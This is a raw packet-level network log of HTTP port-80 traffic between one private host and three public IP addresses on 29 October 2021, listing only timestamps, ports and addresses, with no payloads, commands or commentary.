Oct 29, 2021 20:30:04.165971994 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165994883 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165999889 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.166008949 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.166027069 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.166044950 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.166050911 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.166054964 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.166069031 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.166091919 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.166112900 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.166117907 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.166120052 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.166121960 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.166131020 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.166147947 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.166167974 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.166177034 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.166198015 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.166222095 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.166227102 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.166234016 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.166251898 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.166270018 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.166276932 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.166280031 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.166295052 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.166311026 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.166316032 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.166332960 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.166352987 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.166373014 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.166378975 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.166382074 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.166397095 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.166399002 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.166414976 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.166435003 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.166440964 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.166459084 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.166476965 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.166477919 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.166651964 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.166675091 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.166699886 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.166723013 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.166747093 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.166754007 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.166758060 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.166773081 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.166781902 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.166785955 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.168997049 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.195820093 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.198016882 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.206387997 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.206473112 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.207906008 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.209450006 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.223589897 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.223655939 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.223680019 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.223692894 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.223701954 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.223726988 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.247714043 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.247772932 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.247778893 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.247798920 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.247802019 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.247819901 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.247848034 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.247875929 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.247989893 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.257141113 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.257169962 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.257244110 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.257261992 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.257261992 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.257302999 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.262830973 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.267610073 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.306844950 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.306932926 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.306956053 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.307037115 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.308398008 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.308518887 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.340723991 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.340795040 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.340823889 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.340841055 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.340876102 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.340893030 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.340908051 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.340918064 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.340955973 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.372039080 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.376333952 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.376357079 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.376372099 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.376388073 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.376410007 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.376431942 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.376543999 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.376558065 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.376570940 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.376609087 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.376929998 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.415817976 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.415834904 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.415852070 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.415860891 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.415973902 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.415998936 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.416194916 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.416215897 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.416238070 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.416245937 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.416266918 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.416280985 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.418735027 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.442358971 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.445745945 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.449121952 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.449139118 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.449161053 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.449172974 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.449263096 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.449299097 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.449877024 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.449896097 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.449918032 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.449970961 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.449974060 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.453810930 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.485717058 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.485738039 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.485759974 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.485877037 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.486166000 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.486254930 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.509427071 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.512200117 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.515676022 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.515697002 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.515714884 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.515744925 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.515789986 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.515821934 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.535284996 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.535305023 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.535326958 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.535460949 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.538465977 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.542809010 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.548175097 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.548194885 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.548214912 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.548224926 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.548356056 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.548368931 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.548392057 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.548413992 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.548415899 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.548424959 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.550800085 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.572958946 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.572981119 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.572993994 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.574552059 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.575454950 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.578289986 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.588392019 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.589813948 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.589828014 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.590904951 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.645793915 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.645812988 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.645848036 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.645860910 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.645881891 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.645894051 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.645903111 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.645919085 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.645931005 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.645942926 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.645951033 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.645953894 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.645989895 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.646018982 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.708949089 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.708964109 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.709001064 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.709013939 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.709028959 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.709042072 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.709057093 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.709069014 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.709084988 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.709089041 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.709098101 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.709110022 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.709124088 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.709146976 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.709152937 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.709166050 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.709172964 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.709182978 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.709196091 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.709212065 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.709219933 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.709219933 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.709233999 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.709254026 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.709259033 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.709278107 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.709287882 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.709295988 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.709336042 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.709538937 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.709553003 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.709583044 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.709589958 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.709608078 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.709626913 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.771908045 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.771927118 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.771950006 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.771966934 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.771981955 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.772000074 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.772008896 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.772025108 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.772037983 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.772053957 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.772063017 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.772075891 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.772077084 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.772089005 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.772106886 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.772115946 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.772131920 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.772140026 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.772145033 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.772159100 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.772159100 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.772169113 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.772181034 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.772197962 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.772203922 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.772211075 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.772222996 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.772250891 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.772274971 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.772664070 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.772680044 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.772697926 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.772710085 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.772738934 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.772757053 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.775415897 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.775438070 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.775459051 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.775480986 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.775556087 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.775563955 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.775588989 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.775599003 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.775613070 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.775636911 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.775659084 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.775664091 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.775677919 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.775696993 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.775702000 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.775712013 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.775732994 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.775780916 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.836348057 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.836376905 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.836416006 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.836433887 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.836481094 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.836486101 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.836505890 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.836508989 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.836545944 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.836565971 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.836709023 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.836734056 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.836750031 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.836750984 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.836771011 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.836777925 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.836791992 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.836810112 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.836827040 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.836858988 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.836878061 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.836891890 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.836910009 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.836931944 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.836947918 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.836947918 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.836967945 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.836978912 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.837002039 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.837013960 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.837034941 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.837050915 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.837052107 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.837071896 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.837085962 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.837089062 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.837107897 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.837110043 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.837126970 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.837138891 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.837146997 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.837161064 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.837179899 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.837194920 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.837213039 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.837228060 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.837249041 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.837261915 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.837280989 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.837307930 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.837327957 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.837351084 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:04.837380886 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:04.837384939 CEST	80	49859	45.141.84.21	192.168.2.3
